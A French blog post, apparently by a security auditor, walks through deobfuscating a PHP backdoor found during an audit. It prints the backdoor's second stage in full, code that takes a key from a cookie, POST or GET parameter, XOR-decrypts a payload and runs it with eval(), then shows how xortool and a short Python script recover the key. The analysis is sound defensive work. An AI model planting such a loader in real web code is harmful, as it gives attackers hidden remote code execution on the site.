Petite analyse d'une backdoor rencontré lors d'un audit ...
Je rencontre souvent lors d'audits, des backdoors plus ou moins bien offusquées. Il s'agit généralement de successions de base64_decode(), gzinflate(), ... Celle ci est un peu différente, elle utilise des permutations sur les bits, intègre du chiffrement, et pour une fois ce n'est pas du rot13.
Stage 1, le fichier original
Là ça pique un peu, mais il suffit simplement de remplacer la fonction eval($d); par le code ci dessous pour récupérer le stage 2.
$f=fopen("res", "a+"); fwrite($f, $d); fclose($f); exit();
Stage 2
Quelques retours à la ligne, et me voila avec un code lisible.
<?php
for ($o=0, $e='le payload ...', $d=''; @ord($e[$o]); $o++) {
if ($o<16) { $h[$e[$o]]=$o; }
else { $d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));
}
// Je rajoute ici mon code pour récupérer le stage 3.
$f=fopen("res", "a+");
fwrite($f, $d);
fclose($f);
exit();
// Fin.
if (!@isset($_SERVER)) {
$_COOKIE=&$HTTP_COOKIE_VARS;
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
}
$k=$_COOKIE['key'];
if (empty($k)) { $k=$_POST['key']; }
if (empty($k)) { $k=$_GET['key']; }
if (!@function_exists('decrypt')) {
eval('
function decrypt($e,$k) {
if (!$k) { return; }
$el=@strlen($e);
$kl=@strlen($k);
$rl=$el%$kl;
$fl=$el-$rl;
for ($o=0; $o<$fl; $o+=$kl) {
$p=@substr($e,$o,$kl);
$d.="$k"^"$p";
}
if ($rl) {
$p=@substr($e,$fl,$rl);
$k=@substr($k,0,$rl);
$d.="$k"^"$p";
}
return($d);
}
');
}
$d=@decrypt($d,$k);
eval($d);
?>
Pour faire simple, il récupère une clé passée en argument, et déchiffre avec la fonction xor le payload.
Il me faut maintenant trouver cette clé.
Stage 3
Qui dit xor, dit xortool, un superbe outil d'analyse qui permet souvent de retrouver la clé utilisée dans un chiffrement avec la fonction xor.
xortool stage3
The most probable key lengths:
2: 9.6%
4: 13.1%
6: 12.7%
8: 11.0%
12: 15.8%
16: 7.9%
18: 7.7%
20: 6.7%
24: 9.3%
36: 6.3%
Key-length can be 4*n
Most possible char is needed to guess the key!
Je commence par essayer avec une clé de 12 caractères et choisi "e" comme caractère probable.
xortool stage3 -l 12 -c e
1 possible key(s) of length 12:
SjJVkE\x0crkYYj
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
Bien, plus de 95% de caractères imprimables, mais pas encore très lisible.
Stage 4
Il y a suffisament de caractères pour trouver le contenu de la première ligne, un simple xor de cette ligne sur son chiffré va me donner la clé.
xxd -i stage3 | head -2
unsigned char stage3[] = {
0x59, 0x45, 0x65, 0x37, 0x0f, 0x2f, 0x43, 0x01, 0x1f, 0x72, 0x2a, 0x13,
Un bout de code plus loin,
c = [0x59, 0x45, 0x65, 0x37, 0x0f, 0x2f, 0x43, 0x01, 0x1f, 0x72, 0x2a, 0x13]
d="\x0a//adjust sy"
k=""
for i in xrange(0, len(d)):
k+=chr(c[i]^ord(d[i]))
print k
je récupère la clé et le code source de la backdoor.
python xor.py
SjJVkE6rkRYj
xortool-xor -f stage3 -s 'SjJVkE6rkRYj' > stage4.php
Moralité, la clé utilisée pour chiffrer avec la fonction xor doit toujours être de la même longueur que le message à chiffrer :)
0 commentaire(s) pour Analyse d'une backdoor php